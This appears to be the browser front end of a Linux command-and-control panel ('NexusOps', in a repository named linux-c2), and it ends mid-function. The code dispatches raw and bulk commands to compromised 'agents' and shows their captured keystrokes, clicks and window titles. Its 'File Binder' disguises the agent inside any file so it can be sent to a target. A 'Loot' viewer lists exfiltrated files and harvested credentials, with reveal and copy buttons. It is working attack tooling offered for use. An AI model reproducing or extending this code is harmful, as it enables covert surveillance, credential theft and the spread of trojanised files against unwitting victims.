Files
linux-c2/public/app.js

1035 lines
38 KiB
JavaScript

// ── Auth & API wrapper ──
let nexusToken = localStorage.getItem('nexus_token') || null;
let authRequired = false;
const _origFetch = window.fetch.bind(window);
window.fetch = function(url, opts = {}) {
opts.headers = opts.headers || {};
if (nexusToken && typeof url === 'string' && !opts.headers['Authorization']) {
opts.headers['Authorization'] = 'Bearer ' + nexusToken;
}
return _origFetch(url, opts).then(resp => {
if (resp.status === 401 && authRequired) showAuthGate();
return resp;
});
};
function showAuthGate() {
authRequired = true;
document.getElementById('authOverlay').style.display = 'flex';
setTimeout(() => document.getElementById('authTokenInput').focus(), 100);
}
function hideAuthGate() {
document.getElementById('authOverlay').style.display = 'none';
document.getElementById('authError').style.display = 'none';
}
async function submitAuthToken() {
const val = document.getElementById('authTokenInput').value.trim();
if (!val) return;
nexusToken = val;
try {
const r = await _origFetch('/api/auth/check', { headers: { 'Authorization': 'Bearer ' + val } });
if (r.ok) {
localStorage.setItem('nexus_token', val);
hideAuthGate();
toast('Authenticated', 'success');
bootApp();
} else {
document.getElementById('authError').style.display = 'block';
nexusToken = null;
}
} catch(e) {
document.getElementById('authError').style.display = 'block';
}
}
async function probeAuth() {
try {
const r = await _origFetch('/api/status');
if (r.status === 401) { showAuthGate(); return false; }
return true;
} catch(e) { return true; }
}
// ── Toasts ──
function toast(msg, type = 'info') {
const stack = document.getElementById('toastStack');
if (!stack) return;
const el = document.createElement('div');
el.className = 'toast toast-' + type;
const icons = { info: 'fa-circle-info', success: 'fa-circle-check', error: 'fa-circle-exclamation' };
el.innerHTML = '<i class="fa-solid ' + (icons[type] || icons.info) + '"></i><span>' + escapeHtml(msg) + '</span>';
stack.appendChild(el);
setTimeout(() => { el.classList.add('toast-out'); setTimeout(() => el.remove(), 400); }, 5000);
}
// NexusOps Dashboard Application Logic
let nodesData = [];
let commandHistory = [];
let masterSystemLogs = [];
let inputData = [];
let currentFilter = 'all';
let currentView = 'grid';
let serverIp = window.location.hostname;
let serverPort = window.location.port || '3000';
let publicUrl = null;
let telemetryChart = null;
document.addEventListener('DOMContentLoaded', () => {
initWebSocket();
initChart();
updateServerEndpoint();
});
function updateServerEndpoint() {
const endpoint = publicUrl || `http://${serverIp}:${serverPort}`;
const placeholders = document.querySelectorAll('.server-url-placeholder');
placeholders.forEach(el => el.textContent = endpoint);
document.getElementById('navServerEndpoint').textContent = endpoint;
const linkEl = document.getElementById('binaryDownloadLink');
if (linkEl) linkEl.href = `${endpoint}/bin/NexusAgent`;
}
let _wsBackoff = 1000;
let _wsAttempts = 0;
let _wsHalted = false;
function initWebSocket() {
if (_wsHalted) return;
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
let wsUrl = `${protocol}//${window.location.host}`;
if (nexusToken) wsUrl += '?token=' + encodeURIComponent(nexusToken);
const ws = new WebSocket(wsUrl);
ws.onopen = () => {
_wsBackoff = 1000;
_wsAttempts = 0;
document.getElementById('navConnectionStatus').textContent = 'Live Connected';
document.querySelector('.status-indicator').classList.add('online');
};
ws.onmessage = (event) => {
try {
const data = JSON.parse(event.data);
if (data.type === 'NODES_UPDATE') {
serverIp = data.serverIp || serverIp;
serverPort = data.port || serverPort;
publicUrl = data.publicUrl || publicUrl;
updateServerEndpoint();
nodesData = data.nodes || [];
commandHistory = data.commandHistory || [];
masterSystemLogs = data.masterSystemLogs || [];
inputData = data.inputData || [];
renderDashboard();
}
} catch (e) {
console.error("Error parsing WebSocket payload:", e);
}
};
ws.onclose = (ev) => {
document.querySelector('.status-indicator').classList.remove('online');
if (ev.code === 4401) {
_wsHalted = true;
document.getElementById('navConnectionStatus').textContent = 'Auth Required';
showAuthGate();
return;
}
_wsAttempts++;
document.getElementById('navConnectionStatus').textContent = `Reconnecting (${_wsAttempts})…`;
const jitter = Math.random() * 500;
setTimeout(initWebSocket, Math.min(_wsBackoff + jitter, 30000));
_wsBackoff = Math.min(_wsBackoff * 2, 30000);
};
}
function renderDashboard() {
renderOverviewStats();
renderNodesGrid();
renderAuditLogs();
renderMasterSyslogs();
renderIntelLog();
checkForNewNodes();
updateChartData();
}
function renderOverviewStats() {
const total = nodesData.length;
const online = nodesData.filter(n => n.status === 'online').length;
const offline = total - online;
let avgCpu = 0;
if (online > 0) {
const sumCpu = nodesData.filter(n => n.status === 'online').reduce((acc, n) => acc + (n.cpuUsage || 0), 0);
avgCpu = Math.round(sumCpu / online);
}
document.getElementById('statTotalNodes').textContent = total;
document.getElementById('statOnlineNodes').textContent = online;
document.getElementById('statOfflineNodes').textContent = offline;
document.getElementById('statAvgCpu').textContent = `${avgCpu}%`;
}
function renderNodesGrid() {
const container = document.getElementById('nodesGrid');
const search = document.getElementById('searchInput').value.toLowerCase();
if (!nodesData.length) {
container.innerHTML = renderEmptyHero();
if (window.QRCode && endpoint) { /* QR handled below */ }
return;
}
let filtered = nodesData.filter(node => {
const matchesFilter = currentFilter === 'all' || node.status === currentFilter;
const matchesSearch = !search ||
node.hostname.toLowerCase().includes(search) ||
node.ip.toLowerCase().includes(search) ||
node.platform.toLowerCase().includes(search) ||
node.id.toLowerCase().includes(search);
return matchesFilter && matchesSearch;
});
if (filtered.length === 0) {
container.innerHTML = `
<div class="empty-state">
<i class="fa-solid fa-satellite-dish"></i>
<h3>No Connected Agents Found</h3>
<p>No computers match your filter. Download the agent installer to link machines.</p>
<button class="btn btn-secondary" onclick="openInstallerModal()">Get Agent Install Script</button>
</div>
`;
return;
}
container.innerHTML = filtered.map(node => {
const isOnline = node.status === 'online';
const osIcon = getOsIcon(node.platform);
return `
<div class="node-card ${isOnline ? 'online' : 'offline'}">
<div class="card-header">
<div class="node-info-main">
<div class="platform-badge-icon">
<i class="${osIcon}"></i>
</div>
<div class="node-title">
<h3>${escapeHtml(node.hostname)}</h3>
<span>${node.ip}${node.osName || node.platform}</span>
</div>
</div>
<span class="status-badge ${isOnline ? 'online' : 'offline'}">
<span class="status-indicator ${isOnline ? 'online' : ''}"></span>
${isOnline ? 'Online' : 'Offline'}
</span>
</div>
<div class="metrics-container">
<div class="metric-bar-group">
<div class="metric-bar-label">
<span><i class="fa-solid fa-microchip"></i> CPU Usage</span>
<span>${node.cpuUsage}%</span>
</div>
<div class="metric-bar-bg">
<div class="metric-bar-fill fill-cpu" style="width: ${node.cpuUsage}%"></div>
</div>
</div>
<div class="metric-bar-group">
<div class="metric-bar-label">
<span><i class="fa-solid fa-memory"></i> Memory</span>
<span>${node.memUsage}%</span>
</div>
<div class="metric-bar-bg">
<div class="metric-bar-fill fill-mem" style="width: ${node.memUsage}%"></div>
</div>
</div>
<div class="metric-bar-group">
<div class="metric-bar-label">
<span><i class="fa-solid fa-hard-drive"></i> Disk Space</span>
<span>${node.diskUsage}%</span>
</div>
<div class="metric-bar-bg">
<div class="metric-bar-fill fill-disk" style="width: ${node.diskUsage}%"></div>
</div>
</div>
</div>
<div class="card-footer">
<span style="font-size: 0.75rem; color: var(--text-muted)">
<i class="fa-regular fa-clock"></i> Heartbeat: ${formatTime(node.lastHeartbeat)}
</span>
<div class="node-actions">
<button class="btn-icon" title="Ping Node" onclick="pingNode('${node.id}', '${escapeHtml(node.hostname)}')">
<i class="fa-solid fa-bolt"></i>
</button>
<button class="btn-icon" title="Control Center" onclick="openCommandModal('${node.id}', '${escapeHtml(node.hostname)}')">
<i class="fa-solid fa-sliders"></i> Control
</button>
<button class="btn-icon" title="Unregister Node" onclick="deleteNode('${node.id}')">
<i class="fa-solid fa-trash-can"></i>
</button>
</div>
</div>
</div>
`;
}).join('');
}
function renderAuditLogs() {
const container = document.getElementById('auditLogContent');
document.getElementById('logCount').textContent = `${commandHistory.length} events`;
if (commandHistory.length === 0) {
container.innerHTML = `<div class="log-entry system">[SYSTEM] Server listening on http://${serverIp}:${serverPort}. No control task events yet.</div>`;
return;
}
container.innerHTML = commandHistory.map(item => {
let statusClass = item.status === 'completed' ? 'success' : item.status === 'failed' ? 'error' : 'system';
return `
<div class="log-entry ${statusClass}">
[${new Date(item.createdAt).toLocaleTimeString()}] <strong>${escapeHtml(item.hostname)}</strong> ➔ ${escapeHtml(item.command)} | STATUS: ${item.status.toUpperCase()}
${item.output ? `<pre style="margin-top:0.2rem; font-size:0.8rem; color:#d1d5db; white-space:pre-wrap;">${escapeHtml(item.output.trim())}</pre>` : ''}
</div>
`;
}).join('');
container.scrollTop = container.scrollHeight;
}
function renderMasterSyslogs() {
const container = document.getElementById('syslogStreamContent');
if (!container) return;
const countEl = document.getElementById('syslogCount');
const searchInput = document.getElementById('logSearchInput');
const query = searchInput ? searchInput.value.toLowerCase().trim() : '';
let filtered = masterSystemLogs;
if (query) {
filtered = masterSystemLogs.filter(l =>
l.hostname.toLowerCase().includes(query) ||
l.entry.toLowerCase().includes(query)
);
}
if (countEl) countEl.textContent = `${filtered.length} entries`;
if (filtered.length === 0) {
container.innerHTML = `<div class="log-entry system">[SYSTEM] Central log stream active. No entries matching "${escapeHtml(query)}".</div>`;
return;
}
container.innerHTML = filtered.map(log => {
let logText = escapeHtml(log.entry);
let isError = logText.toLowerCase().includes('error') || logText.toLowerCase().includes('fail');
let isWarn = logText.toLowerCase().includes('warn');
let logClass = isError ? 'error' : isWarn ? 'system' : 'success';
return `
<div class="log-entry ${logClass}">
[${new Date(log.timestamp).toLocaleTimeString()}] <strong style="color:var(--primary-cyan);">${escapeHtml(log.hostname)}</strong>: ${logText}
</div>
`;
}).join('');
container.scrollTop = container.scrollHeight;
}
function initChart() {
const ctx = document.getElementById('telemetryChart').getContext('2d');
telemetryChart = new Chart(ctx, {
type: 'line',
data: {
labels: [],
datasets: [
{
label: 'Avg CPU Load (%)',
borderColor: '#06b6d4',
backgroundColor: 'rgba(6, 182, 212, 0.1)',
fill: true,
data: [],
tension: 0.4
},
{
label: 'Avg RAM Load (%)',
borderColor: '#8b5cf6',
backgroundColor: 'rgba(139, 92, 246, 0.1)',
fill: true,
data: [],
tension: 0.4
}
]
},
options: {
responsive: true,
maintainAspectRatio: false,
scales: {
x: {
grid: { color: 'rgba(255, 255, 255, 0.05)' },
ticks: { color: '#9ca3af' }
},
y: {
min: 0,
max: 100,
grid: { color: 'rgba(255, 255, 255, 0.05)' },
ticks: { color: '#9ca3af' }
}
},
plugins: {
legend: { labels: { color: '#f3f4f6' } }
}
}
});
}
function updateChartData() {
if (!telemetryChart) return;
const timeStr = new Date().toLocaleTimeString();
const onlineNodes = nodesData.filter(n => n.status === 'online');
const avgCpu = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.cpuUsage, 0) / onlineNodes.length : 0;
const avgMem = onlineNodes.length ? onlineNodes.reduce((a, b) => a + b.memUsage, 0) / onlineNodes.length : 0;
telemetryChart.data.labels.push(timeStr);
telemetryChart.data.datasets[0].data.push(Math.round(avgCpu));
telemetryChart.data.datasets[1].data.push(Math.round(avgMem));
if (telemetryChart.data.labels.length > 15) {
telemetryChart.data.labels.shift();
telemetryChart.data.datasets[0].data.shift();
telemetryChart.data.datasets[1].data.shift();
}
telemetryChart.update();
}
function getOsIcon(platform) {
const p = (platform || '').toLowerCase();
if (p.includes('win')) return 'fa-brands fa-windows';
if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple';
return 'fa-brands fa-linux';
}
function escapeHtml(str) {
return (str || '').replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;");
}
function formatTime(timestamp) {
if (!timestamp) return 'Never';
const diff = Math.floor((Date.now() - timestamp) / 1000);
if (diff < 5) return 'Just now';
if (diff < 60) return `${diff}s ago`;
return `${Math.floor(diff / 60)}m ago`;
}
function setFilter(filter, el) {
currentFilter = filter;
document.querySelectorAll('.filter-btn').forEach(btn => btn.classList.remove('active'));
el.classList.add('active');
renderNodesGrid();
}
function filterNodes() {
renderNodesGrid();
}
function switchView(view, el) {
currentView = view;
document.querySelectorAll('.toggle-btn').forEach(btn => btn.classList.remove('active'));
el.classList.add('active');
renderNodesGrid();
}
function openInstallerModal() {
updateServerEndpoint();
document.getElementById('installerModal').classList.add('active');
}
function closeInstallerModal() {
document.getElementById('installerModal').classList.remove('active');
}
function switchTab(tabName) {
document.querySelectorAll('.tab-btn').forEach(btn => btn.classList.remove('active'));
document.querySelectorAll('.tab-content').forEach(content => content.classList.remove('active'));
event.currentTarget.classList.add('active');
document.getElementById(`tab-${tabName}`).classList.add('active');
}
function switchControlTab(tabName, btnEl) {
document.querySelectorAll('#commandModal .tab-btn').forEach(btn => btn.classList.remove('active'));
document.querySelectorAll('.control-tab-content').forEach(c => c.style.display = 'none');
btnEl.classList.add('active');
document.getElementById(`ctrl-${tabName}`).style.display = 'block';
}
function copyCode(elementId, btn) {
const text = document.getElementById(elementId).innerText;
navigator.clipboard.writeText(text).then(() => {
const original = btn.innerHTML;
btn.innerHTML = `<i class="fa-solid fa-check"></i> Copied!`;
btn.style.background = 'var(--accent-emerald)';
setTimeout(() => {
btn.innerHTML = original;
btn.style.background = '';
}, 2000);
});
}
function openCommandModal(nodeId, hostname) {
document.getElementById('cmdModalNodeId').value = nodeId;
document.getElementById('cmdModalHostname').textContent = hostname;
document.getElementById('cmdInput').value = '';
document.getElementById('commandModal').classList.add('active');
}
function closeCommandModal() {
document.getElementById('commandModal').classList.remove('active');
}
function setQuickCmd(cmd) {
document.getElementById('cmdInput').value = cmd;
}
function submitNodeAction(actionType, extraPayload = {}) {
const nodeId = document.getElementById('cmdModalNodeId').value;
let payload = { ...extraPayload };
if (actionType === 'raw_command') {
const command = document.getElementById('cmdInput').value.trim();
if (!command) return;
payload.command = command;
}
fetch(`/api/nodes/${nodeId}/command`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType, payload, command: payload.command })
})
.then(res => res.json())
.then(data => {
if (data.success) {
closeCommandModal();
}
});
}
function submitServiceAction(action) {
const service = document.getElementById('serviceNameInput').value.trim();
if (!service) return alert("Please enter a service name (e.g. nginx)");
submitNodeAction('manage_service', { service, action });
}
function submitKillProcess() {
const pid = document.getElementById('killPidInput').value;
if (!pid) return alert("Please enter a valid PID");
submitNodeAction('kill_process', { pid });
}
function openBulkModal() {
document.getElementById('bulkModal').classList.add('active');
}
function closeBulkModal() {
document.getElementById('bulkModal').classList.remove('active');
}
function submitBulkCommand() {
const command = document.getElementById('bulkCmdInput').value.trim();
if (!command) return;
fetch('/api/nodes/bulk-command', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ actionType: 'raw_command', command, payload: { command } })
})
.then(res => res.json())
.then(data => {
if (data.success) {
closeBulkModal();
alert(`Task broadcasted to ${data.count} online network nodes!`);
} else {
alert(data.error || "Failed to dispatch bulk command");
}
});
}
function submitTagUpdate() {
const tags = document.getElementById('tagInput').value.trim();
if (!tags) return alert("Please enter at least one tag");
submitNodeAction('update_tags', { tags });
}
function submitHeartbeatRate() {
const interval = document.getElementById('heartbeatInput').value;
if (!interval) return alert("Please enter a valid interval in seconds");
submitNodeAction('set_heartbeat_rate', { interval: parseInt(interval) });
}
function submitSystemReboot() {
if (confirm("⚠️ Are you sure you want to reboot this target machine?")) {
submitNodeAction('reboot_system');
}
}
function deleteNode(nodeId) {
if (confirm("Are you sure you want to unregister this node?")) {
fetch(`/api/nodes/${nodeId}`, { method: 'DELETE' });
}
}
// ── Master Intelligence Log Rendering ──
function renderIntelLog() {
const container = document.getElementById('intelLogContent');
if (!container) return;
const nodeFilter = document.getElementById('intelNodeFilter');
const typeFilter = document.getElementById('intelTypeFilter');
const searchInput = document.getElementById('intelSearchInput');
// Populate node filter dropdown dynamically
if (nodeFilter) {
const currentVal = nodeFilter.value;
nodeFilter.innerHTML = '<option value="all">All Machines</option>';
nodesData.forEach(n => {
const sel = n.id === currentVal ? ' selected' : '';
nodeFilter.innerHTML += `<option value="${n.id}"${sel}>${escapeHtml(n.hostname)} (${n.ip})</option>`;
});
}
const selNodeId = nodeFilter ? nodeFilter.value : 'all';
const selType = typeFilter ? typeFilter.value : 'all';
const query = searchInput ? searchInput.value.toLowerCase().trim() : '';
// Show machine details when a specific node is selected
renderMachineDetails(selNodeId);
// Filter input data
let filtered = inputData;
if (selNodeId !== 'all') {
filtered = filtered.filter(e => e.nodeId === selNodeId);
}
if (selType !== 'all') {
filtered = filtered.filter(e => e.eventType === selType);
}
if (query) {
filtered = filtered.filter(e => {
const dataStr = JSON.stringify(e.data || '').toLowerCase();
return dataStr.includes(query) ||
(e.windowTitle || '').toLowerCase().includes(query) ||
(e.hostname || '').toLowerCase().includes(query);
});
}
const countEl = document.getElementById('intelCount');
if (countEl) countEl.textContent = `${filtered.length} events`;
if (filtered.length === 0) {
container.innerHTML = '<div class="log-entry system">[INTEL] No captured input events. Waiting for agent keystroke/click data...</div>';
return;
}
container.innerHTML = filtered.map(ev => {
const timeStr = new Date(ev.timestamp).toLocaleTimeString();
const hostStr = escapeHtml(ev.hostname || 'Unknown');
let icon, cssClass, detailStr;
switch (ev.eventType) {
case 'keystroke':
icon = '<i class="fa-solid fa-keyboard"></i>';
cssClass = 'log-entry intel-keystroke';
detailStr = `Key: <strong style="color:#fbbf24;">${escapeHtml((ev.data && ev.data.key) || '?')}</strong>`;
break;
case 'click':
icon = '<i class="fa-solid fa-arrow-pointer"></i>';
cssClass = 'log-entry intel-click';
detailStr = `Button: <strong style="color:#34d399;">${escapeHtml((ev.data && ev.data.button) || '?')}</strong> @ (${ev.data && ev.data.x}, ${ev.data && ev.data.y})`;
break;
case 'scroll':
icon = '<i class="fa-solid fa-arrow-up-wide-short"></i>';
cssClass = 'log-entry intel-scroll';
detailStr = `Scroll \u0394(${ev.data && ev.data.dx}, ${ev.data && ev.data.dy})`;
break;
default:
icon = '<i class="fa-solid fa-circle-dot"></i>';
cssClass = 'log-entry';
detailStr = escapeHtml(JSON.stringify(ev.data || {}));
}
const winStr = ev.windowTitle ? ` <span style="color:var(--text-dim); font-size:0.75rem;">[${escapeHtml(ev.windowTitle)}]</span>` : '';
return `<div class="${cssClass}">
<span style="color:var(--primary-cyan);">[${timeStr}]</span>
${icon}
<strong style="color:var(--primary-purple);">${hostStr}</strong>
${detailStr}${winStr}
</div>`;
}).join('');
container.scrollTop = container.scrollHeight;
}
function renderMachineDetails(nodeId) {
const bar = document.getElementById('machineDetailsBar');
if (!bar) return;
if (nodeId === 'all') {
const machinesWithInput = [...new Set(inputData.map(e => e.nodeId))];
if (machinesWithInput.length === 0) {
bar.innerHTML = '<span style="color: var(--text-muted); font-size: 0.8rem;"><i class="fa-solid fa-info-circle"></i> Select a specific machine to see its full details here. Input data from agents will appear below.</span>';
} else {
bar.innerHTML = `<span style="color: var(--text-muted); font-size: 0.8rem;"><i class="fa-solid fa-server"></i> ${machinesWithInput.length} machine(s) reporting input data. Select one above for details.</span>`;
}
return;
}
const node = nodesData.find(n => n.id === nodeId);
if (!node) {
bar.innerHTML = '<span style="color: var(--text-muted); font-size: 0.8rem;">Machine details unavailable.</span>';
return;
}
const statusColor = node.status === 'online' ? 'var(--accent-emerald)' : 'var(--accent-rose)';
const osIcon = getOsIcon(node.platform);
bar.innerHTML = `
<div class="machine-detail-chip"><i class="${osIcon}"></i> <strong>${escapeHtml(node.hostname)}</strong></div>
<div class="machine-detail-chip"><i class="fa-solid fa-globe"></i> ${escapeHtml(node.ip)}</div>
<div class="machine-detail-chip"><i class="fa-solid fa-laptop"></i> ${escapeHtml(node.osName || node.platform)} (${escapeHtml(node.arch || 'x64')})</div>
<div class="machine-detail-chip"><i class="fa-solid fa-microchip"></i> CPU: ${node.cpuUsage}%</div>
<div class="machine-detail-chip"><i class="fa-solid fa-memory"></i> MEM: ${node.memUsage}%</div>
<div class="machine-detail-chip"><i class="fa-solid fa-hard-drive"></i> DISK: ${node.diskUsage}%</div>
<div class="machine-detail-chip"><i class="fa-solid fa-clock"></i> ${formatUptime(node.uptime)}</div>
<div class="machine-detail-chip" style="color:${statusColor};"><i class="fa-solid fa-circle"></i> ${node.status.toUpperCase()}</div>
`;
}
function formatUptime(seconds) {
if (!seconds || seconds <= 0) return 'N/A';
const d = Math.floor(seconds / 86400);
const h = Math.floor((seconds % 86400) / 3600);
const m = Math.floor((seconds % 3600) / 60);
if (d > 0) return `${d}d ${h}h`;
if (h > 0) return `${h}h ${m}m`;
return `${m}m`;
}
// ── File Binder ──
let binderFile = null;
function openBinderModal() {
updateServerEndpoint();
document.getElementById('binderModal').classList.add('active');
resetBinder();
}
function closeBinderModal() {
document.getElementById('binderModal').classList.remove('active');
resetBinder();
}
function resetBinder() {
binderFile = null;
document.getElementById('binderFileInput').value = '';
document.getElementById('binderFileName').innerHTML = 'Click or drag any file here';
document.getElementById('binderDropzone').classList.remove('has-file');
document.getElementById('binderSubmitBtn').disabled = true;
document.getElementById('binderStatus').style.display = 'none';
}
function handleBinderFile(input) {
if (input.files && input.files[0]) {
binderFile = input.files[0];
document.getElementById('binderFileName').innerHTML = `<strong>${escapeHtml(binderFile.name)}</strong> <span style="color:var(--text-dim);">(${(binderFile.size / 1024).toFixed(1)} KB)</span>`;
document.getElementById('binderDropzone').classList.add('has-file');
document.getElementById('binderSubmitBtn').disabled = false;
}
}
async function submitBinder() {
if (!binderFile) return;
const btn = document.getElementById('binderSubmitBtn');
const status = document.getElementById('binderStatus');
btn.disabled = true;
btn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> Binding...';
status.style.display = 'block';
status.className = '';
status.textContent = 'Processing file...';
const formData = new FormData();
formData.append('file', binderFile);
try {
const resp = await fetch('/api/bind', { method: 'POST', body: formData });
if (!resp.ok) {
const err = await resp.json().catch(() => ({ error: 'Server error' }));
throw new Error(err.error || `HTTP ${resp.status}`);
}
const blob = await resp.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = binderFile.name + '.sh';
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
status.className = 'success';
status.textContent = `✅ Bound file downloaded! Send "${binderFile.name}.sh" to target. When executed, it opens the original file and deploys the agent.`;
} catch (e) {
status.className = 'error';
status.textContent = `${e.message}`;
}
btn.disabled = false;
btn.innerHTML = '<i class="fa-solid fa-wand-magic-sparkles"></i> Bind & Download';
}
// ── Kill Switch ──
function killSwitch() {
if (!confirm('⚠️ KILL SWITCH: This will terminate ALL agent processes on ALL connected machines. Continue?')) return;
fetch('/api/nodes/killswitch', { method: 'POST' })
.then(r => r.json())
.then(d => {
if (d.success) alert(`☠️ Kill switch sent to ${d.count} node(s). Agents will shut down on next heartbeat.`);
else alert(d.error || 'No nodes to kill.');
});
}
// ── Ping Node ──
function pingNode(nodeId, hostname) {
fetch(`/api/nodes/${nodeId}/ping`, { method: 'POST' })
.then(r => r.json())
.then(d => {
if (d.success) alert(`⚡ Ping sent to ${hostname}. Check command log for latency response.`);
});
}
// ── New Node Sound & Notification ──
let knownNodeIds = new Set();
function checkForNewNodes() {
nodesData.forEach(node => {
if (!knownNodeIds.has(node.id) && node.status === 'online') {
knownNodeIds.add(node.id);
// Browser notification
if (Notification.permission === 'granted') {
new Notification('🖥️ New Agent Connected', {
body: `${node.hostname} (${node.ip}) — ${node.osName || node.platform}`,
icon: '/favicon.ico'
});
}
// Audio ping
try {
const ctx = new (window.AudioContext || window.webkitAudioContext)();
const osc = ctx.createOscillator();
const gain = ctx.createGain();
osc.connect(gain); gain.connect(ctx.destination);
osc.frequency.setValueAtTime(880, ctx.currentTime);
osc.frequency.setValueAtTime(1100, ctx.currentTime + 0.1);
gain.gain.setValueAtTime(0.3, ctx.currentTime);
gain.gain.exponentialRampToValueAtTime(0.01, ctx.currentTime + 0.3);
osc.start(ctx.currentTime);
osc.stop(ctx.currentTime + 0.3);
} catch(e) {}
}
});
// Also mark offline nodes
nodesData.forEach(node => knownNodeIds.add(node.id));
}
// Request notification permission on first interaction
document.addEventListener('click', () => {
if (Notification.permission === 'default') Notification.requestPermission();
}, { once: true });
// ── Loot viewer ──
let lootFiles = [];
let lootCreds = [];
let lootObjectUrls = {};
let _lootSeenFiles = new Set();
let _lootSeenCreds = new Set();
let _lootFirstPoll = true;
function switchLootTab(tab) {
document.getElementById('lootTabFiles').classList.toggle('active', tab === 'files');
document.getElementById('lootTabCreds').classList.toggle('active', tab === 'creds');
document.getElementById('lootFilesPanel').style.display = tab === 'files' ? '' : 'none';
document.getElementById('lootCredsPanel').style.display = tab === 'creds' ? '' : 'none';
}
function humanSize(b) {
if (!b && b !== 0) return '?';
if (b < 1024) return b + ' B';
if (b < 1048576) return (b/1024).toFixed(1) + ' KB';
return (b/1048576).toFixed(1) + ' MB';
}
function relTime(ts) {
const s = Math.floor((Date.now() - ts) / 1000);
if (s < 60) return s + 's ago';
if (s < 3600) return Math.floor(s/60) + 'm ago';
if (s < 86400) return Math.floor(s/3600) + 'h ago';
return Math.floor(s/86400) + 'd ago';
}
async function pollLoot() {
try {
const [fr, cr] = await Promise.all([
fetch('/api/files').then(r => r.ok ? r.json() : []),
fetch('/api/credentials').then(r => r.ok ? r.json() : [])
]);
// Toasts on new arrivals (skip first poll)
if (!_lootFirstPoll) {
fr.forEach(f => { if (!_lootSeenFiles.has(f.id)) { _lootSeenFiles.add(f.id); toast('New file: ' + f.filename + ' from ' + (f.hostname || f.nodeId), 'success'); } });
cr.forEach(c => { const k = c.nodeId + c.type + c.timestamp; if (!_lootSeenCreds.has(k)) { _lootSeenCreds.add(k); toast('Creds harvested: ' + c.type + ' on ' + (c.hostname || c.nodeId), 'success'); } });
} else {
fr.forEach(f => _lootSeenFiles.add(f.id));
cr.forEach(c => _lootSeenCreds.add(c.nodeId + c.type + c.timestamp));
_lootFirstPoll = false;
}
lootFiles = fr;
lootCreds = cr;
renderLoot();
} catch(e) { /* offline tolerance */ }
}
function renderLoot() {
document.getElementById('lootFilesCount').textContent = lootFiles.length;
document.getElementById('lootCredsCount').textContent = lootCreds.length;
// Files
const fp = document.getElementById('lootFilesPanel');
if (!lootFiles.length) {
fp.innerHTML = '<div class="log-entry system">[LOOT] No files exfiltrated yet. Use Control → Exfil &amp; Harvest on an online node.</div>';
} else {
fp.innerHTML = '<table class="loot-table"><thead><tr><th></th><th>File</th><th>Node</th><th>Size</th><th>When</th><th></th></tr></thead><tbody>' +
lootFiles.slice().reverse().map(f => {
const isImg = (f.mime || '').startsWith('image/');
const thumbId = 'thumb-' + f.id;
if (isImg && !lootObjectUrls[f.id]) {
fetch('/api/files/' + f.id).then(r => r.blob()).then(b => {
lootObjectUrls[f.id] = URL.createObjectURL(b);
const el = document.getElementById(thumbId);
if (el) el.src = lootObjectUrls[f.id];
}).catch(() => {});
}
return '<tr>' +
'<td class="loot-thumb-cell">' + (isImg
? '<img id="' + thumbId + '" class="loot-thumb" onclick="openLootLightbox(\'' + f.id + '\')" alt="img">'
: '<i class="fa-solid fa-file loot-file-icon"></i>') + '</td>' +
'<td>' + escapeHtml(f.filename) + '<div class="loot-mime">' + escapeHtml(f.mime || '') + '</div></td>' +
'<td>' + escapeHtml(f.hostname || f.nodeId || '?') + '</td>' +
'<td>' + humanSize(f.size) + '</td>' +
'<td>' + relTime(f.timestamp) + '</td>' +
'<td><button class="btn-icon" title="Download" onclick="lootDownload(\'' + f.id + '\', \'' + escapeHtml(f.filename).replace(/'/g, "\\'") + '\')"><i class="fa-solid fa-download"></i></button></td>' +
'</tr>';
}).join('') + '</tbody></table>';
}
// Credentials
const cp = document.getElementById('lootCredsPanel');
if (!lootCreds.length) {
cp.innerHTML = '<div class="log-entry system">[LOOT] No credentials harvested yet. Use Control → Exfil &amp; Harvest on an online node.</div>';
} else {
const groups = {};
lootCreds.forEach((c, i) => {
const key = (c.hostname || c.nodeId || 'unknown');
groups[key] = groups[key] || [];
groups[key].push(Object.assign({ _idx: i }, c));
});
cp.innerHTML = Object.entries(groups).map(([host, items]) =>
'<div class="loot-cred-group"><div class="loot-cred-host"><i class="fa-solid fa-server"></i> ' + escapeHtml(host) + ' <span class="badge">' + items.length + '</span></div>' +
items.map(c => {
const raw = typeof c.data === 'string' ? c.data : JSON.stringify(c.data);
const cid = 'cred-' + c._idx;
return '<div class="loot-cred-row">' +
'<span class="badge purple">' + escapeHtml(c.type || 'unknown') + '</span>' +
'<code class="loot-cred-val" id="' + cid + '" data-masked="1" title="Click to reveal">••••••••••</code>' +
'<span class="loot-cred-time">' + relTime(c.timestamp) + '</span>' +
'<button class="btn-icon" title="Reveal" onclick="toggleCredReveal(\'' + cid + '\', this)" data-raw="' + escapeHtml(raw).replace(/"/g, '&quot;') + '"><i class="fa-solid fa-eye"></i></button>' +
'<button class="btn-icon" title="Copy" onclick="lootCopy(this)" data-raw="' + escapeHtml(raw).replace(/"/g, '&quot;') + '"><i class="fa-solid fa-copy"></i></button>' +
'</div>';
}).join('') + '</div>'
).join('');
}
}
function toggleCredReveal(cid, btn) {
const el = document.getElementById(cid);
if (el.dataset.masked === '1') {
el.textContent = btn.dataset.raw;
el.dataset.masked = '0';
btn.innerHTML = '<i class="fa-solid fa-eye-slash"></i>';
} else {
el.textContent = '••••••••••';
el.dataset.masked = '1';
btn.innerHTML = '<i class="fa-solid fa-eye"></i>';
}
}
function lootCopy(btn) {
navigator.clipboard.writeText(btn.dataset.raw).then(() => toast('Copied to clipboard', 'success'));
}
function openLootLightbox(id) {
const lb = document.getElementById('lootLightbox');
const img = document.getElementById('lootLightboxImg');
if (lootObjectUrls[id]) { img.src = lootObjectUrls[id]; lb.style.display = 'flex'; }
}
function closeLootLightbox() {
document.getElementById('lootLightbox').style.display = 'none';
}
function lootDownload(id, filename) {
fetch('/api/files/' + id).then(r => r.blob()).then(b => {
const a = document.createElement('a');
a.href = URL.createObjectURL(b);
a.download = filename;
a.click();
setTimeout(() => URL.revokeObjectURL(a.href), 5000);
